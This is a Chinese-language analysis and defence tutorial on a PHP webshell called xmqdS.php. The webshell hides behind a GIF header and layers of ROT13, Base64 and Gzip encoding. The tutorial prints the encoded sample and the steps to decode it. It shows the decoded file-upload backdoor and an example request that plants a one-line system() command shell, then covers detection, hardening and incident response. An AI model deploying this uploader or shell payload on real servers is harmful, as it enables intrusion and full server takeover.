对某先锋马xmqdS.php的分析报告
字数 1455 2025-08-10 09:43:36

PHP WebShell 木马分析与防御教学文档

一、样本概述

1.1 基本信息

  • 文件名:xmqdS.php
  • 类型:伪装成GIF的PHP WebShell
  • 首次出现时间:2013年(非新型木马)
  • VirusTotal检出率:37/61(约60.7%)
  • 作者署名:ghost-dz
  • 文件哈希:14083cf438605d38a206be33542c7a4d48fb67c8ca0cfc165fa5f279a6d55361

1.2 文件特征

  • 使用GIF89a文件头伪装:GIF89GHZ
  • 多层编码保护:
    • ROT13编码
    • Base64编码
    • Gzip压缩

二、技术分析

2.1 编码结构分析

木马采用三层编码结构:

  1. 外层:ROT13编码
  2. 中层:Base64编码
  3. 内层:Gzip压缩

2.2 解码过程

第一步:ROT13解码

原始编码内容:

ML/EF8ZjRZnsUrk/hVMOJaQZS19pZ3kkVNtX06qEFgnxAct0bH2RGin/zljgT/c2q9/iih+BI40TaSguWq98TXxc4k0pOiufqT+K7WvibboK8kxCfTyZ6IddrWcAV5mKhyANXlg0FkNPkJ2wTHUTrlQtoJHUjjyFGycunTqKtI8lnvzPLRJDT6ZEPUoIKJWkYyewYRFaJxt+epn6S0qs39+umDuTfsEJnSmd3HRWTkCv/WgX54K4g98833KBSUHXv/Ygqsr+k4USOENPRjxM/ZkaAk56eYDM0xJ5sK552h1khNHKr2lIXpZOhYvSs2VHZh8O8oKbPibYUutxFLYKpCY2KCo8Y7ByDy6D0l8=

ROT13解码后:

ZY/RS8MwEMafHex/uIZBWnDMF19cM3xxIAgK06dRStakNpg0oU2ETva/mywtG/p2d9/vvu+OV40GnFthJd98GKkp4x0cBvhsdG+X7JivoobX8xkPsGlM6VqqeJpNI5zXulNAKyt0SxACxW2jGUHGeyDgbWUHwwlSTlphaGdXgV8yaimCYEWQG6MRCHbVXWJxLlrjLESnWkg+rca6F0df39+hzQhGsfRWaFzq3UEJGxPi/JtK54X4t98833XOFHUKi/Ltdfe+x4HFBRACEwkZ/MxnNx56rLQZ0kW5fX552u1xuAUXe2yVKcMBuLiFf2IUMu8B8bXoCvoLHhgkSYLXcPL2XPb8L7OlQl6Q0y8=

第二步:Base64解码

使用Python代码解码:

import base64
decoded_data = base64.b64decode("ZY/RS8MwEMafHex/uIZBWnDMF19cM3xxIAgK06dRStakNpg0oU2ETva/mywtG/p2d9/vvu+OV40GnFthJd98GKkp4x0cBvhsdG+X7JivoobX8xkPsGlM6VqqeJpNI5zXulNAKyt0SxACxW2jGUHGeyDgbWUHwwlSTlphaGdXgV8yaimCYEWQG6MRCHbVXWJxLlrjLESnWkg+rca6F0df39+hzQhGsfRWaFzq3UEJGxPi/JtK54X4t98833XOFHUKi/Ltdfe+x4HFBRACEwkZ/MxnNx56rLQZ0kW5fX552u1xuAUXe2yVKcMBuLiFf2IUMu8B8bXoCvoLHhgkSYLXcPL2XPb8L7OlQl6Q0y8=")

第三步:Gzip解压缩

import zlib
inflated_data = zlib.decompress(decoded_data, -zlib.MAX_WBITS)
print(inflated_data)

2.3 最终解码内容

echo '<title>Uploader by ghost-dz</title>';
echo php_uname();
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
    if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { 
        echo 'Upload ok :d !!!'; 
    } else { 
        echo 'Upload Fail !!!'; 
    }
}

三、功能分析

3.1 主要功能

  1. 信息收集:显示服务器操作系统信息(php_uname()
  2. 文件上传接口:提供Web表单用于上传任意文件
  3. 文件保存:使用copy()函数将上传的文件保存到服务器

3.2 攻击流程

  1. 攻击者上传伪装成GIF的PHP文件
  2. 访问该PHP文件会显示文件上传界面
  3. 攻击者通过此界面上传更多恶意文件(如WebShell、后门等)
  4. 实现服务器完全控制

3.3 请求示例

POST /xmqdS.php HTTP/1.1
Host: vulnerable-site.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream

<?php system($_GET['cmd']); ?>

----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="_upl"

Upload
----WebKitFormBoundary7MA4YWxkTrZu0gW--

四、防御措施

4.1 文件上传防护

  1. 文件类型验证

    • 检查文件MIME类型
    • 验证文件扩展名
    • 使用finfo_file()函数而非依赖$_FILES['file']['type']
  2. 文件内容检查

    • 检查文件头是否符合声明类型
    • 对上传文件进行病毒扫描
    • 禁止上传可执行文件(如.php、.jsp等)
  3. 存储安全

    • 上传文件重命名(使用随机名称)
    • 存储目录设置为不可执行
    • 设置适当的文件权限(644)

4.2 WebShell检测

  1. 静态检测

    • 检查可疑函数调用(evalsystemexec等)
    • 查找多层编码特征
    • 检测伪装文件头
  2. 动态检测

    • 监控异常文件创建
    • 检查Web目录下新增的可执行文件
    • 使用Web应用防火墙(WAF)规则

4.3 服务器加固

  1. PHP配置

    • 禁用危险函数:disable_functions = exec,system,passthru,shell_exec,proc_open,popen,eval
    • 关闭危险配置:allow_url_fopen = Off, allow_url_include = Off
    • 设置open_basedir限制PHP可访问目录
  2. 文件系统监控

    • 监控Web目录文件变化
    • 设置文件完整性检查(如Tripwire)
    • 定期审计服务器文件

五、应急响应

5.1 发现后处理步骤

  1. 立即隔离受感染服务器
  2. 保留现场证据(文件、日志等)
  3. 确定入侵时间点和途径
  4. 检查是否有其他后门存在
  5. 修复漏洞后恢复服务

5.2 日志分析要点

  1. 检查异常文件上传记录
  2. 查找可疑的POST请求
  3. 分析访问WebShell的IP地址
  4. 检查服务器进程异常

六、总结

该WebShell属于"先锋马"类型,主要特点是:

  1. 使用多层编码和文件头伪装绕过检测
  2. 功能简单但危险,为后续攻击提供入口
  3. 检出率不高(约60%),可能绕过部分安全产品

防御此类攻击需要多层防护策略,包括严格的文件上传控制、服务器加固和持续监控。

PHP WebShell 木马分析与防御教学文档 一、样本概述 1.1 基本信息 文件名:xmqdS.php 类型:伪装成GIF的PHP WebShell 首次出现时间:2013年(非新型木马) VirusTotal检出率:37/61(约60.7%) 作者署名:ghost-dz 文件哈希:14083cf438605d38a206be33542c7a4d48fb67c8ca0cfc165fa5f279a6d55361 1.2 文件特征 使用GIF89a文件头伪装: GIF89GHZ 多层编码保护: ROT13编码 Base64编码 Gzip压缩 二、技术分析 2.1 编码结构分析 木马采用三层编码结构: 外层:ROT13编码 中层:Base64编码 内层:Gzip压缩 2.2 解码过程 第一步:ROT13解码 原始编码内容: ROT13解码后: 第二步:Base64解码 使用Python代码解码: 第三步:Gzip解压缩 2.3 最终解码内容 三、功能分析 3.1 主要功能 信息收集 :显示服务器操作系统信息( php_uname() ) 文件上传接口 :提供Web表单用于上传任意文件 文件保存 :使用 copy() 函数将上传的文件保存到服务器 3.2 攻击流程 攻击者上传伪装成GIF的PHP文件 访问该PHP文件会显示文件上传界面 攻击者通过此界面上传更多恶意文件(如WebShell、后门等) 实现服务器完全控制 3.3 请求示例 四、防御措施 4.1 文件上传防护 文件类型验证 : 检查文件MIME类型 验证文件扩展名 使用 finfo_file() 函数而非依赖 $_FILES['file']['type'] 文件内容检查 : 检查文件头是否符合声明类型 对上传文件进行病毒扫描 禁止上传可执行文件(如.php、.jsp等) 存储安全 : 上传文件重命名(使用随机名称) 存储目录设置为不可执行 设置适当的文件权限(644) 4.2 WebShell检测 静态检测 : 检查可疑函数调用( eval 、 system 、 exec 等) 查找多层编码特征 检测伪装文件头 动态检测 : 监控异常文件创建 检查Web目录下新增的可执行文件 使用Web应用防火墙(WAF)规则 4.3 服务器加固 PHP配置 : 禁用危险函数: disable_functions = exec,system,passthru,shell_exec,proc_open,popen,eval 关闭危险配置: allow_url_fopen = Off , allow_url_include = Off 设置 open_basedir 限制PHP可访问目录 文件系统监控 : 监控Web目录文件变化 设置文件完整性检查(如Tripwire) 定期审计服务器文件 五、应急响应 5.1 发现后处理步骤 立即隔离受感染服务器 保留现场证据(文件、日志等) 确定入侵时间点和途径 检查是否有其他后门存在 修复漏洞后恢复服务 5.2 日志分析要点 检查异常文件上传记录 查找可疑的POST请求 分析访问WebShell的IP地址 检查服务器进程异常 六、总结 该WebShell属于"先锋马"类型,主要特点是: 使用多层编码和文件头伪装绕过检测 功能简单但危险,为后续攻击提供入口 检出率不高(约60%),可能绕过部分安全产品 防御此类攻击需要多层防护策略,包括严格的文件上传控制、服务器加固和持续监控。